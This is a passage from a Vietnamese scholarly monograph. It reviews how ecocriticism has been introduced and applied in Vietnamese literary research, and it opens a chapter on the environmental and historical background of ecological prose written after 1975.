Đỗ Văn Hiểu đã tổng hợp, giới thiệu phong trào phê bình sinh thái trên thế giới, đồng
thời chỉ ra cội nguồn tư tưởng của các nhà triết học phương Tây làm tiền đề xuất hiện
phê bình sinh thái. Qua đó để thấy rằng phong trào này đang có sức lan tỏa trên thế
giới. Bản dịch của Hải Ngọc Những tương lai của phê bình sinh thái và văn học của
Karen Thornber trong tập Phê bình sinh thái Đông Á: Tuyển tập phê bình (Các nền
văn học, văn hóa và môi trường (East Asian Ecocriticisms. A Critical Reader
(Literatures, Cultures, and the Environment, 2013) đã cung cấp cho chúng ta một
cái nhìn nhiều gợi ý về triển vọng của phong trào này. Karen Thornber đã sáng tạo
ra khái niệm – ecoambiguity (mơ hồ sinh thái) – như một khái niệm phản ánh đặc
trưng phổ biến của diễn ngôn về môi trường, thiên nhiên trong các nền văn hóa
Đông Á, không phải Đông Á có một truyền thống gắn bó với tự nhiên, chỉ đến thế kỉ

1 Nguyễn Thị Tịnh Thy (2013) “Phê bình sinh thái – nhìn từ lí thuyết giải cấu trúc”, Văn học hậu hiện đại – lí thuyết
và thực tiễn, Lê Huy Bắc chủ biên, NXB Đại học Sư phạm, Hà Nội, tr 25 – 31, tr 29.
2
Phương Lựu (2015), “Khuynh hướng phê bình sinh thái trong nghiên cứu văn học”, báo Văn nghệ, số 40.
3
Lê Lưu Oanh, Trần Thị Ánh Nguyệt (2016), “Khuynh hướng phê bình sinh thái trong nghiên cứu văn học”,
Tạp chí Lí luận phê bình văn học nghệ thuật, Số 41, Tháng 01, tr 37 – 46.
4 Nhiều tác giả, Phê bình sinh thái – cội nguồn và sự phát triển (Đỗ Văn Hiểu dịch từ tiếng Trung: Tuyển tập
văn luận văn học sinh thái Trung Quốc và thế giới), http://tapchinhavan.vn/news
33
19 bắt đầu xảy ra tình trạng suy thoái mà “thực chất, các xã hội Đông Á đã kế thừa
cả hàng ngàn năm môi trường bị thoái hóa nghiêm trọng” từ đó dẫn đến những
ngộ nhận không nhỏ trong ý thức và cách ứng xử đối với môi trường của con người
trong khu vực. Những ngộ nhận này, đến lượt chúng, lại dẫn đến những bất công
môi trường. Gợi dẫn của Karen Thornber yêu cầu “nhận thức tốt hơn về sự phức
tạp bao trùm” của mối quan hệ giữa con người và tự nhiên trong văn học trên các
nền văn hóa. Do vậy, cần có “ý thức hành tinh” trong nghiên cứu văn học
1
. Các bản
dịch Phê bình sinh thái của Đặng Thị Thái Hà (2014) trong tuyển tập Giới thiệu phê
bình thế kỉ 21 (Introducing Criticism at the Twenty -First Century)
2
, Nghiên cứu văn học
trong thời đại khủng hoảng môi trường của Trần Thị Ánh Nguyệt (2014), phần giới
thiệu của Tuyển tập phê bình sinh thái: Các mốc quan trọng trong văn học sinh thái (The
Ecocriticism Reader: Landmarks in Literary Ecology )
3
từ những văn bản khá quan
trọng của phê bình sinh thái thể hiện sựnỗ lực giới thiệu phê bình sinh thái ởViệt Nam.
Về ứng dụng phê bình sinh thái trong nghiên cứu văn học lại là một khoảng
trống lớn hơn. Có lẽ vì “Phê bình sinh thái đề xuất lấy “sinh thái trung tâm luận”
làm nền tảng tư tưởng đã tạo ra một cực tư tưởng khác mà muốn tiếp nhận nó,
buộc chúng ta phải thay đổi rất nhiều thứ đã ăn sâu trong tiềm thức mình”4
.
Các nhà văn hóa có lẽ là những người đi trước các nhà nghiên cứu văn học
trong việc ứng dụng lí thuyết sinh thái vào nghiên cứu các hiện tượng văn hóa và
văn học. Phê bình sinh thái, thực chất là một hướng nghiên cứu văn hóa của văn
học. Do vậy, các công trình văn hóa có những gợi ý sâu sắc cho chúng tôi. Nhóm
bài của Trần Quốc Vượng trong công trình Văn hóa Việt Nam tìm tòi và suy ngẫm
(2003): Triết lí môi trường, Văn hóa ẩm thực trên nền cảnh môi trường sinh thái
nhân văn Việt Nam ba miền Nam Trung Bắc, Một cái nhìn sinh thái nhân văn Việt
Nam với các di tích – lịch sử – văn hóa Việt Nam đã phân tích “lối sống hòa điệu với

1
Thornber K. (2014), Những tương lai của phê bình sinh thái và văn học (Hải Ngọc dịch),
http://hieutn1979.wordpress.com.
2Đặng ThịThái Hà dịch, (2014), Phê bình sinh thái, Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First
Century, Rigby K., Edinburgh UP, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của
Nguyễn Huy Thiệp, Nguyễn Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội.
3
Trần Thị Ánh Nguyệt dịch (2014), “Nghiên cứu văn học trong thời đại khủng hoảng môi trường”, Tạp chí
Sông Hương, số 305 tháng 7, tr 86 – 95, “Introdution: Literary studies in an age of environmental crisis”
Cheryll Glotfelty in book The Ecocriticism Reader: Landmarks in Literary Ecology, University of Georgia
Press, 1996, p xv-xxv), edited by Cheryll Glotfelty và Harold Fromm.
4Đỗ Văn Hiểu (2012), “Phê bình sinh thái – khuynh hướng nghiên cứu văn học mang tính cách tân”, Tạp chí Phát
triển Nghiên cứu và khoa học, Đại học Quốc gia Hồ Chí Minh, số15 (X2), 48 – 54, tr 49.
34
tự nhiên” qua những hiện tượng văn hóa cụ thể như tục thờ cây, mô hình vườn,
văn hóa ẩm thực
1
… Trần Thúy Anh trong công trình Ứng xử của người Việt đồng
bằng châu thổ Bắc Bộ qua tục ngữ, ca dao (2011) đã phân tích những phương thức
ứng xử đối với tự nhiên trong tục ngữ, ca dao từ đó đề xuất việc cần xây dựng đạo
đức sinh thái trong việc đối xử với tự nhiên2
. Nguyễn Xuân Hương phân tích quan
niệm về môi trường của Hồ Chí Minh thông qua hoạt động thực tiễn “Tết trồng
cây”, qua thơ văn của Người để thấy tư tưởng “cảm thông sâu sắc vô biên với các
sinh vật (…) nhận thức về sự cân bằng mà tự nhiên đã tạo ra giữa con người (như
một bộ phận của tự nhiên) với bộ phận còn lại của nó”3
.
Trong bài viết Mùa xuân, sinh thái và văn chương (2013), từ gợi dẫn truyện
ngắn Muối của rừng, Huznh Như Phương cho rằng “văn học tham gia vào việc bảo
vệ sức khỏe môi trường cũng là bảo vệ chính con người và những giá trị thuộc về
con người. Chủ nghĩa nhân văn mới không còn xem con người là “thước đo của
mọi vật”, thậm chí là “chúa tể của muôn loài”, mà là một thành phần cộng sinh của
thiên nhiên, nên phải biết coi trọng từng đơn vị sinh thái: một cây thủy tùng, một
giống loài sinh vật biển, một cánh rừng nguyên sinh… Sự suy thoái hệ sinh thái của
một quốc gia không chỉ quy trách nhiệm cho những người quản l{ đất nước mà cả
cho sự thờ ơ của từng công dân, trong đó có những nhà văn”4
. Nguyễn Đăng Điệp
đã vận dụng lí thuyết sinh thái để phân tích biểu tượng vườn trong thơ Mới (Thơ
mới từ góc nhìn sinh thái học văn hóa, 2014), tuy nhiên, cũng như tác giả thú nhận,
đó là “những vén mở bước đầu”5
. Vận dụng lí thuyết phê bình sinh thái, Nguyễn Thị
Tịnh Thy trong bài viết Trăm năm còn lại của Trần Duy Phiên – Nhìn từ lí thuyết phê
bình sinh thái (2015) đánh giá Trăm năm còn lại của Trần Duy Phiên là “tiểu thuyết gây
sốc bởi tư tưởng sinh thái trong nội dung và sự trần trụi, bạo liệt của bút pháp tự sự”
6
.
Từ sự phê phán quan niệm nhân loại trung tâm, nhà nghiên cứu đã chỉ ra một cách đầy

1Trần Quốc Vượng (2003), Văn hóa Việt Nam tìm tòi và suy ngẫm, NXB Văn học, Hà Nội.
2Trần Thúy Anh (2011), Ứng xử cổ truyền với tự nhiên và xã hội của người Việt châu thổ Bắc Bộ qua ca dao, tục
ngữ (chuyên khảo), Hội văn nghệ dân gian Việt Nam và NXB Lao Động, Hà Nội.
3Nguyễn Xuân Hương (2013), “Triết lí nhân sinh của Hồ Chí Minh về môi trường”, Tạp chí Khoa học và công nghệ,
Đại học Duy Tân, Số 4, tr 60 – 66, tr 65.
4 Huỳnh Như Phương (2013), Mùa xuân, sinh thái và văn chương, http://khoavanhoc-ngonngu.edu.vn
5Nguyễn Đăng Điệp (2014), “Thơ mới từ góc nhìn sinh thái học văn hóa”, Thơ Việt Nam hiện đại tiến trình và hiện
tượng, NXB Văn học, Hà Nội, tr 31- 46.
6 Nguyễn Thị Tịnh Thy (2015), “Trăm năm còn lại của Trần Duy Phiên – Nhìn từ lí thuyết phê bình sinh
thái”, Tạp chí Nghiên cứu văn học, số 11, tr 62 – 74.
35
thuyết phục việc tác giả giải thiêng những giá trị người, cho thấy cái ác của con người
với nhau là tiền đề cho cái ác của con người với tự nhiên bằng một phong cách văn xuôi
cực hạn, “lối viết trắng”, lối miêu tả tàn nhẫn, lạnh lùng để biểu trưng cho sự thể hiện
mĩ học về cái ác. Trong hệ thống các bài viết có thể kể đến: Thiên nhiên trong truyện
ngắn Nguyễn Ngọc Tư từ góc nhìn phê bình sinh thái (Trần Thị Ánh Nguyệt)1
, Văn xuôi
Nguyễn Ngọc Tư từ góc nhìn sinh thái (Nguyễn Thùy Trang)2
đã vận dụng lí thuyết phê
bình sinh thái để đưa ra những kiến giả khá mới mẻ về những tác giả quen thuộc.
Ngoài ra, có thể kể đến các tham luận trong nhiều hội thảo khoa học về
nghiên cứu văn học, nghiên cứu văn hóa hiện nay đã giới thiệu, vận dụng lí thuyết
sinh thái.
Một số các hội thảo do Viện Văn học tổ chức gần đây xuất hiện các tham
luận ứng dụng đến lí thuyết này để nghiên cứu văn bản văn học Việt Nam. Có 4
tham luận liên quan đến phê bình sinh thái trong Hội thảo khoa học “Phát triển
văn học Việt Nam trong bối cảnh đổi mới và hội nhập quốc tế” do Viện Văn học tổ
chức tháng 5 năm 2014. Tham luận Nghiên cứu phê bình sinh thái hiện đại và di
sản văn hóa: nhìn từ cách Sinh thái học tìm về Tam giáo” (Phật giáo, Nho giáo, Đạo
giáo) của Trần Hải Yến sau khi lý giải vì sao có nhu cầu tìm về tam giáo của sinh thái
học, và sinh thái học đã tìm thấy gì ở Phật giáo, Nho giáo và Đạo giáo, tham luận
khẳng định có thể khảo sát văn học trung đại Việt Nam, một giai đoạn chịu ảnh
hưởng rõ rệt của tam giáo, từ quan điểm của phê bình sinh thái học. Tham luận
Sáng tác và phê bình sinh thái – tiềm năng cần khai thác của văn học Việt Nam, từ
việc xác định “Khi biểu hiện mối quan hệ giữa con người với tự nhiên, văn học sinh
thái đặc biệt chú trọng đến trách nhiệm và nghĩa vụ của con người đối với tự
nhiên, khẩn thiết kêu gọi bảo vệ vạn vật trong tự nhiên và duy trì cân bằng sinh
thái, nhiệt tình ca ngợi sự hi sinh vì lợi ích của chỉnh thể sinh thái. Văn học sinh thái
đưa trách nhiệm của nhân loại đối với tự nhiên thành định hướng đạo đức chủ
yếu”, Nguyễn Thị Tịnh Thy cho rằng văn học sinh thái là một tiềm năng mà các nhà
văn cần khai thác, nhất là trong khi Việt Nam là một trong những quốc gia chịu ảnh
hưởng của biến đổi khí hậu, mảng văn học da cam… Theo đó, “phê bình sinh thái
có nhiệm vụ chủ yếu mang giá trị đặc thù và đặc trưng bản thể luận của nó, đó là

1
Trần Thị Ánh Nguyệt (2014), “Thiên nhiên trong truyện ngắn Nguyễn Ngọc Tư từ góc nhìn phê bình sinh
thái”, Tạp chí Phát triển Khoa học và Công nghệ, Đại học Quốc gia thành phố Hồ Chí Minh, tập 17, số X3, tr
38 – 49.
2 Nguyễn Thùy Trang (2015), “Văn xuôi Nguyễn Ngọc Tư từ góc nhìn sinh thái”, Tạp chí Khoa học, Đại học Khoa
học Huế, số 6, tr 105 – 113.
36
thông qua văn học để thẩm định lại văn hóa nhân loại, tiến hành nghiên cứu – phê
phán những tư tưởng, văn hóa, mô hình phát triển xã hội của loài người làm ảnh
hưởng đến thái độ và hành vi của nhân loại đối với tự nhiên, dẫn đến tình trạng
xấu đi của môi trường và nguy cơ sinh thái”. Tham luận mong muốn cả người sáng
tác và nhà phê bình Việt Nam cần phải khắc phục tình trạng “phản ứng chậm” với
trào lưu sinh thái1
. Tham luận Cái tự nhiên trong truyện ngắn Nguyễn Huy Thiệp từ
góc nhìn phê bình sinh thái (Đặng Thị Thái Hà), Hình tượng loài vật trong văn xuôi
Việt Nam sau năm 1975 từ góc nhìn phê bình sinh thái (Trần Thị Ánh Nguyệt) đã
vận dụng lí thuyết phê bình sinh thái để phân tích những hiện tượng văn học cụ
thể. Các bài viết trong các kì hội thảo tiếp theo đã thực hành phân tích cụ thể các
tác giả, các chủ đề liên quan đến phê bình sinh thái, như: Tư tưởng sinh thái trong
truyện ngắn của Trần Duy Phiên (Nguyễn Thị Tịnh Thy), Khuynh hướng văn xuôi sinh
thái Việt Nam sau đổi mới (Trần Thị Ánh Nguyệt)… tại hội thảo khoa học “Phát
triển văn học Việt Nam trong bối cảnh đổi mới và hội nhập quốc tế”, tháng 5 năm
2014…; Không gian thôn dã trong văn học đương đại, từ truyền thống đến phản
truyền thống (Đặng Thị Thái Hà), Bản sắc truyện ngắn Trang Thế Hy nhìn từ phê
bình sinh thái (Nguyễn Hồng Anh)… tại hội thảo khoa học “Văn học Việt Nam – Bản
sắc và hội nhập” tháng 1 năm 2016.
Tại hội thảo khoa học quốc tế “Việt Nam học: Lí luận và thực tiễn”, NXB Đại
học Quốc gia Tp Hồ Chí Minh xuất bản, bài viết Nạn phá rừng trong văn xuôi Việt
Nam sau 1975 từ góc nhìn phê bình sinh thái (Trần Thị Ánh Nguyệt, 2016) đã vận
dụng lí thuyết phê bình sinh thái để nghiên cứu về mảng văn học viết về nạn phá
rừng ở Việt Nam – một trong những nguyên nhân cội rễ của tình trạng biến đổi khí
hậu hiện nay. Hội thảo khoa học “Thành tựu văn học Việt Nam ba mươi năm đổi
mới (1986-2016)”, Đại học Khoa học, Đại học Huế, tháng 5 năm 2016 có 3 tham
luận nhìn nhận việc vận dụng lí thuyết phê bình sinh thái vào nghiên cứu văn học
như là biểu hiện của sự đổi mới: Phê bình sinh thái ở Việt Nam từ góc nhìn văn hóa
(Nguyễn Thùy Trang)2
, Văn xuôi Việt Nam sau Đổi mới từ gợi dẫn của phê bình sinh

1Nguyễn Thị Tịnh Thy (2014), Sáng tác và phê bình sinh thái – tiềm năng cần khai thác của văn học Việt Nam , Hội
thảo khoa học Phát triển văn học Việt Nam trong bối cảnh đổi mới và hội nhập quốc tế, Viện Văn học
2Nguyễn Thùy Trang (2016), “Phê bình sinh thái ở Việt Nam từ góc nhìn văn hóa”, Kỉ yếu Hội thảo khoa học
Thành tựu văn học Việt Nam ba mươi năm đổi mới (1986-2016),Đại học Khoa học, Đại học Huế, tr 76-84.
37
thái nữ quyền (Trần Thị Ánh Nguyệt)1
, Lệch chuẩn thành cái phi nhân như một hiện
tượng thơ đương đại (Khảo sát qua trường hợp thơ Trần Quang Hải) (Đặng Thị
Thái Hà)2… Vậy là, phê bình sinh thái đã được đặt lên bàn nghị sự.
Một số trường đại học cũng đã thực hiện các đề tài luận văn thạc sĩ dựa
trên lí thuyết phê bình sinh thái. Vũ Minh Đức (Những ngọn gió Hua Tát của Nguyễn
Huy Thiệp nhìn từ lí thuyết phê bình sinh thái, 2014) đã phát hiện ra trong tập truyện
ngắn những triết lí sinh thái về cái chết của tự nhiên thông qua các motif săn bắn,
những thông điệp Nguyễn Huy Thiệp đưa ra qua nhân vật nữ, qua biểu tượng từ gợi
dẫn sinh thái nữ quyền
3
. Ở Khoa Ngữ Văn, trường Đại học Sư phạm Hà Nội, phê bình
sinh thái là một hướng nghiên cứu đang được quan tâm. Luận văn Cái tự nhiên từ
điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn Minh
Châu, Nguyễn Ngọc Tư) (Đặng Thị Thái Hà, 2014) vận dụng khái niệm “mơ hồ sinh
thái” (ecoambiguity) để “bóc trần những sự thật ẩn dấu” đằng sau những diễn
ngôn mơ hồ về việc “tạo dựng cái tự nhiên phi nhân”. Tác giả cắt nghĩa “sự mơ hồ
này có nguyên nhân từ những mâu thuẫn, mơ hồ trong việc xác định vị trí của
chính mình (với tư cách loài người) trong thế giới, từ cách ứng xử đầy phức tạp với
môi trường sống” biểu hiện trên 3 phương diện: Thái độ hoài nghi đến giải kiến tạo
“những đường ranh giới liên tục cố định hóa giữa con người và tự nhiên phi nhân”
để đề xuất một cái nhìn đạo đức trên phương diện sinh thái; Sự gắn kết giữa phê
bình sinh thái và phê bình xã hội trên các phương diện: cảm thức hậu chiến, cảm
thức tâm linh, ý niệm văn minh và sự mong manh của tồn tại; “xem xét kiến tạo
các không gian sống trong văn học” qua việc giải kiến tạo không gian thôn dã và
hoang dã, phân tích những phản ứng của văn học trước những áp lực của không
gian đô thị
4
. Luận văn thạc sĩ Tu từ học sinh thái trong Truyện Kiều (Luyện Thị Huệ,

1
Trần Thị Ánh Nguyệt (2016), “Văn xuôi Việt Nam sau Đổi mới từ gợi dẫn của phê bình sinh thái nữ
quyền”, Kỉ yếu Hội thảo khoa học Thành tựu văn học Việt Nam ba mươi năm đổi mới (1986-2016),Đại học
Khoa học, Đại học Huế, tr 232-240.
2 Đặng Thị Thái Hà (2016), “Lệch chuẩn thành cái phi nhân như một hiện tượng thơ đương đại (Khảo sát
qua trường hợp thơ Trần Quang Hải)”, Kỉ yếu Hội thảo khoa học Thành tựu văn học Việt Nam ba mươi năm
đổi mới (1986-2016),Đại học Khoa học, Đại học Huế, tr 532-542.
3 Vũ Minh Đức (2014), Những ngọn gió Hua Tát của Nguyễn Huy Thiệp nhìn từ lí thuyết phê bình sinh thái,
nguvan.utb.edu.vn
4Đặng Thị Thái Hà (2014), Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp,
Nguyễn Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội.
38
2015)1
đã vận dụng lí thuyết phê bình sinh thái để tìm hiểu về thế giới sinh mệnh
tự nhiên cây cỏ trong Truyện Kiều như là một phương thức trở về với truyền thống
hòa hợp tự nhiên của tư tưởng Đông phương để tái thiết sinh thái. Luận án tiến sĩ
Con người và tự nhiên trong văn xuôi Việt Nam từ góc nhìn phê bình sinh thái (Trần
Thị Ánh Nguyệt, 2016)2
giới thiệu khái quát về phê bình sinh thái ở thế giới và Việt
Nam, đồng thời khẳng định có một khuynh hướng văn xuôi sinh thái sau năm 1975
như là một xu hướng văn học có tầm quan trọng xă hội thẩm mĩ và chứa đựng
những nhân tố cách tân nghệ thuật so với cách viết về mối quan hệ giữa con người
và tự nhiên trước đó; với 2 bình diện mà khuynh hướng văn xuôi sinh thái xác lập
cho văn chương đương đại, là 1) cảm hứng phê phán trên tinh thần sinh thái và 2)
xác lập cảm quan đạo đức sinh thái.
Ngoài ra, những nghiên cứu sinh thái trên văn bản văn học nước ngoài cũng có
những gợi ý quý báu. Báo cáo khoa học Tôtem sói của Khương Nhung nhìn từ lí thuyết
phê bình sinh thái (2013)3
, bài viết Đối thoại trong Tôtem sói của Khương Nhung
(2015)4
, Nguyễn Thị Tịnh Thy đã nghiên cứu tác phẩm của Trung Quốc từ lí thuyết sinh
thái. Trong công trình này, ngoài việc giới thiệu khái quát lí thuyết sinh thái, tác giả vận
dụng nguyên tắc đối thoại của Bakhtin để thấy sự nổi bật của những vấn đề sinh thái
cũng như phương thức tự sự sinh thái mà Khương Nhung đã thực hiện.
Qua việc công bố các bài viết ở các hội thảo khoa học, các luận văn, luận án ở
các trường đại học, phê bình sinh thái Việt Nam đang đi đúng theo hướng mà phê
bình sinh thái thế giới đã từng đi trong giai đoạn đầu, nó là phong trào mang tính hàn
lâm từ các trường Đại học, các viện nghiên cứu. Nhiệm vụ của phong trào phê bình
sinh thái ở Việt Nam là cần lan tỏa hơn nữa để trở thành một phong trào nổi bật
mang tính cách tân như trên thế giới vì việc giới thiệu về phê bình sinh thái cũng
như ứng dụng lí thuyết này để nghiên cứu ở Việt Nam còn ở giai đoạn mới bắt đầu.
Cần có những công trình dịch thuật, nghiên cứu sâu hơn, nhất là trong thế kỉ mà
nguy cơ sinh thái đang trở thành một vấn đề nghiêm trọng toàn cầu.

1
Luyện Thị Huệ (2015), Tu từ học sinh thái trong Truyện Kiều, Luận văn thạc sĩ, Đại học Sư phạm Hà Nội.
2
Trần Thị Ánh Nguyệt (2016), Con người và tự nhiên trong văn xuôi Việt Nam từ góc nhìn phê bình sinh
thái, Luận án tiến sĩ, Đại học Sư phạm Hà Nội.
3Nguyễn Thị Tịnh Thy (2013), Tôtem sói của Khương Nhung nhìn từ lí thuyết phê bình sinh thái, Báo cáo tổng
kết đề tài khoa học cấp trường, Trường Đại học Sư phạm Huế.
4Nguyễn Thị Tịnh Thy (2015), “Đối thoại trong Tôtem sói của Khương Nhung”, tạp chí Khoa học, Đại học Sư
phạm Hà Nội, số 10, tr 122-130.
39
2.2 Nhiệm vụ phê bình văn học sinh thái ở Việt Nam
Bằng cái nhìn “sinh thái là trung tâm”, có thể nhận thấy văn học truyền
thống viết về tự nhiên là viết dưới ánh sáng “nhân loại trung tâm luận”, xem thiên
nhiên chỉ là nền cảnh, ẩn dụ cho con người, mượn thiên nhiên để thể hiện nỗi
lòng. Với cách nhìn này, xem xét lại toàn bộ văn học truyền thống trung đại
phương Đông chúng ta nhận ra được nhiều vấn đề. Thực ra hầu hết những trang
văn, những vần thơ về thiên nhiên, cuối cùng vẫn là hướng tới con người. Lâm Đại
Ngọc chôn hoa không chỉ thể hiện tấm lòng với cái đẹp mong manh mà còn thể
hiện niềm thương cảm chính số kiếp mình. Dù là bài ca viết về núi Côn Sơn, nhưng
Côn Sơn ca của Nguyễn Trãi suy cho cùng vẫn là bài ca của những triết lí, tâm sự về
cuộc đời.
Mặt khác, từ cái nhìn chất vấn văn chương mục đồng của Terry Gifford,
Greg Garrard, văn chương truyền thống viết về tự nhiên là văn học của kẻ ngồi
trong phòng khách nhìn ra cửa sổ. Quả vậy, thơ điền viên, thơ sơn thủy… chỉ thấy
những nhàn tản, thanh thản giữa thiên nhiên mà bỏ qua sự cực nhọc của lao động
hoặc có lao động thì cũng khá nhẹ nhõm (Một cày, một cuốc, một cần câu), mà lờ
đi thực tế lao động khắc nghiệt trong cuộc sinh tồn với đất đai. Cách nhìn chất vấn
đó, còn bóc tách ra sự mơ hồ trong những diễn ngôn về tình yêu thiên nhiên của
văn chương thời trung đại.
Ngoài ra, có thể đề xuất một số hướng tiếp cận: so sánh với các văn bản phi
hư cấu để tìm những ngữ liệu có thể chứng minh về sự tồn tại hay không của
những văn bản viết về sự khai thác tự nhiên? Hay là như đề xuất của Trần Hải Yến,
sự vắng mặt của các hình tượng thiên nhiên của một số tác giả (Nguyễn Công Trứ,
Tú Xương…) có { nghĩa gì chăng?
Tuy nhiên, sống trong một thời đại mà tự nhiên có nguy cơ biến mất, trở về với
văn chương thể hiện niềm yêu cỏ cây, triết lí sống hài hòa với tự nhiên của trí tuệ
Đông phương – “thiên địa nhân hợp nhất” – hẳn cũng giúp cho nhân loại khỏi trượt
dài trong việc cư xử ngỗ ngược với tự nhiên. Ở điểm này, có thể vẫn còn nhiều điều
chưa được khám phá ngọn ngành.
Đối với văn học hiện đại, chúng tôi có thể đưa ra một vài gợi ý.
Văn học lãng mạn Việt Nam 1930-1945 cần được tìm hiểu sâu hơn dưới góc
nhìn phê bình sinh thái. Bởi vì, văn học lãng mạn gắn liền với quá trình đô thị, khi
văn minh xâm lấn, nhiều nhà thơ đã quay lưng bằng cách trốn vào thiên nhiên. Đây
40
cũng là vùng văn học mà các học giả sinh thái thế giới rất lưu tâm.
Văn học giai đoạn 1945 – 1975 cũng cần được xem xét dưới cái nhìn sinh
thái: sự hủy hoại của môi trường trong chiến tranh, “văn học da cam”, những vần
thơ thiên nhiên chống Mỹ, những truyện ngắn đầy chất thơ gần gũi về thiên
nhiên… nói với chúng ta về điều gì ngoài việc thể hiện tinh thần chiến đấu cho Tổ
quốc là chiến đấu cho từng cành hoa ngọn cỏ?
Văn học sau năm 1975, trong thời đại khủng hoảng môi trường, của kỉ
nguyên toàn cầu hóa, phê bình sinh thái cần có những hướng phát triển vừa sâu vừa
rộng như thế nào? Tính liên ngành cũng cần được nhấn mạnh, ngoài các văn bản hư
cấu, cần tìm hiểu các văn bản phi hư cấu; các loại hình nghệ thuật khác khá năng
động như âm nhạc, điện ảnh, kiến trúc… phản ứng với trào lưu sinh thái như thế
nào?
Cuối cùng, có lẽ cần đưa giáo dục môi trường vào giảng dạy trong các ngành khoa
học nhân văn. Nhiều trường đại học ở Châu Âu, các khoa tiếng Anh của các trường đại
học Mỹ đã giảng dạy khóa học “Văn học và môi trường”. Thực ra, không phải đến bây giờ
chúng ta mới quan tâm đến vấn đề môi trường, những nghiên cứu về môi trường ở Việt
Nam khá nhiều. Khoa học chỉ đưa ra những con số, làm thế nào để những con số tác
động vào nhận thức của mọi người? Nó phải thông qua tình cảm. Những biện pháp giáo
dục môi trường nếu chỉ tác động vào lí trí rất khó thay đổi, mỗi người cần có trách nhiệm
với môi trường từ ngay trong tâm thức mình. Đã đến lúc những nghiên cứu về môi
trường không chỉ giản đơn là những con số mà cần tích hợp với ngành văn học để đưa ra
những cảnh báo. Lợi thế của văn học là tác động về mặt tình cảm, tạo chiều sâu, cảm xúc
thật khiến cho con người bừng tỉnh, vậy nên { nghĩa của vấn đề môi trường trong văn học
là tạo nên nội hàm mới của tính nhân văn cho lí thuyết.
***
Như vậy, trước áp lực của khủng hoảng môi trường, biến đổi khí hậu, phê
bình sinh thái xuất hiện đáp ứng lại những đòi hỏi của thời đại về vai trò của văn
học, nghiên cứu văn học trước sinh mệnh của trái đất. Từ những năm 1970 đến nay,
phê bình sinh thái từ phong trào lẻ tẻ, tản mát đã trở thành một hướng nghiên cứu
năng động trên thế giới.
Việt Nam là một nước nằm trong khu vực Đông Á, nơi có truyền thống về tình
yêu thiên nhiên, các nghiên cứu về mối quan hệ giữa con người và thiên nhiên đã
41
xuất hiện từ khá lâu, tuy nhiên, đó chưa phải là những vấn đề của sinh thái hiện đại.
Dù lí thuyết phê bình sinh thái đang được học giới Việt Nam dẫn nhập, nghiên cứu
văn học dưới góc nhìn sinh thái đã có những thực hành nhất định nhưng vẫn phải
nhận định rằng dường như tất cả còn đang ở những bước khởi động.
42
Chương 2
KHUYNH HƯỚNG VĂN XUÔI SINH THÁI VIỆT NAM
SAU NĂM 1975
1. NHỮNG TIỀN ĐỀ LỊCH SỬ XÃ HỘI CỦA VĂN HỌC SINH THÁI VIỆT NAM
Chiến tranh suốt ba mươi năm có tính chất hủy diệt (Ruộng đã khô, nhà đã
cháy, thành phố đã tan hoang, Trịnh Công Sơn) để lại những tổn thất về môi
trường dài lâu mà con người chưa thể khắc phục ngay được. Những nỗi đau da
cam hiện diện đang bào mòn nhiều thế hệ và ngấm ngầm tàn phá môi trường với
những cánh rừng trơ trụi, nhiễm độc đất đai, nguồn nước… Sinh thái hậu chiến
tranh do vậy vẫn còn là nỗi đau dai dẳng.
Mặt khác, công nghiệp hóa, hiện đại hóa cũng khiến cho môi trường bị biến
đổi. Một mặt, chúng ta không thể không tác động vào tự nhiên vì những lợi ích kinh tế
nhưng mặt khác, khi tác động phải trả giá cho sự phát triển trước mắt bằng những
nguy cơ rất lâu dài. Sự lạm dụng những tiến bộ khoa học đã làm ô nhiễm và cạn kiệt
môi trường tự nhiên. Khai thác thủy điện không tính đến những tác động môi trường,
đánh bắt hủy diệt, lâm tặc, khoáng tặc… dẫn tới hậu quả của nó là những dải rừng bị
bào mòn hủy hoại, hạn hán, những con sông, dòng thác bị bức tử; loài vật lên tiếng
kêu cứu: năm 2010 con tê giác cuối cùng ở Việt Nam đã bị tiêu diệt, voi Tây Nguyên
không có rừng để sống về tàn sát những cánh đồng, sếu đầu đỏ bỏ miền tây Nam Bộ
thiên di sang những cánh đồng Campuchia… Jacques Vernier phản đối cách khai thác
rừng ở các nước Đông Nam Á, theo ông việc khai thác để lấy củi (80 % số gỗ khai thác
chỉ để làm củi) là “khai thác mang tính hủy hoại” vì nó kéo theo rất nhiều hệ lụy của hệ
sinh thái “Mặc dù người ta chỉ lấy được một vài cây gỗ đủ tiêu chuẩn lựa chọn, nằm
rải rác mọi nơi (mỗi héc ta lấy được khoảng 3 đến 4 cây), họ đã tàn phá cả khu rừng”1
.
Diện tích rừng bị suy giảm trầm trọng đã kéo theo những hệ lụy của biến đổi khí hậu
mà chúng ta đang gánh chịu: hạn hán vào mùa hè, bão lũ vào mùa mưa ở miền Trung,
lũ lụt và sụt lở đất ở miền núi, triều cường ở Nam Bộ…
Trong quá trình công nghiệp hóa, con người đã xem thiên nhiên như là thứ
vô tri nên mặc sức khai thác nó, coi sự trả giá quá dễ, tác động vào nó mà không
tính đến những hậu quả lâu dài về mặt môi trường. Sự tăng trưởng nóng đã khiến
môi trường tự nhiên đang bị đe dọa, con người phải đối mặt với nhiều vấn đề của

1 Vernier J. (2002), Môi trường sinh thái, Trương Thị Chí, Trần Chí Đạo dịch, NXB Thế giới, Hà Nội, tr 124
43
mặt trái văn minh đô thị với bao bộn bề, ngổn ngang và tổn hại như hiệu ứng nhà
kính, chất thải công nghiệp… Hiểm họa sinh thái còn nảy sinh do thiếu ý thức, vì
nguồn lợi người ta bất chấp tất cả, vi phạm môi trường nghiêm trọng như xả thải
bất hợp pháp ở các khu công nghiệp làm ô nhiễm nguồn nước, ô nhiễm đất, ô
nhiễm biển… Trong sản xuất nông nghiệp, việc áp dụng các thành tựu khoa học
thiếu cân nhắc như lạm dụng thuốc bảo vệ thực vật, thuốc trừ sâu, phân hóa học…
cũng ảnh hưởng đến chất lượng nông sản và môi trường sinh trưởng của các loài
tôm, cá, cua, ếch, cóc, nhái, ong… Điều đó lại càng đặt ra thách thức lớn với cách
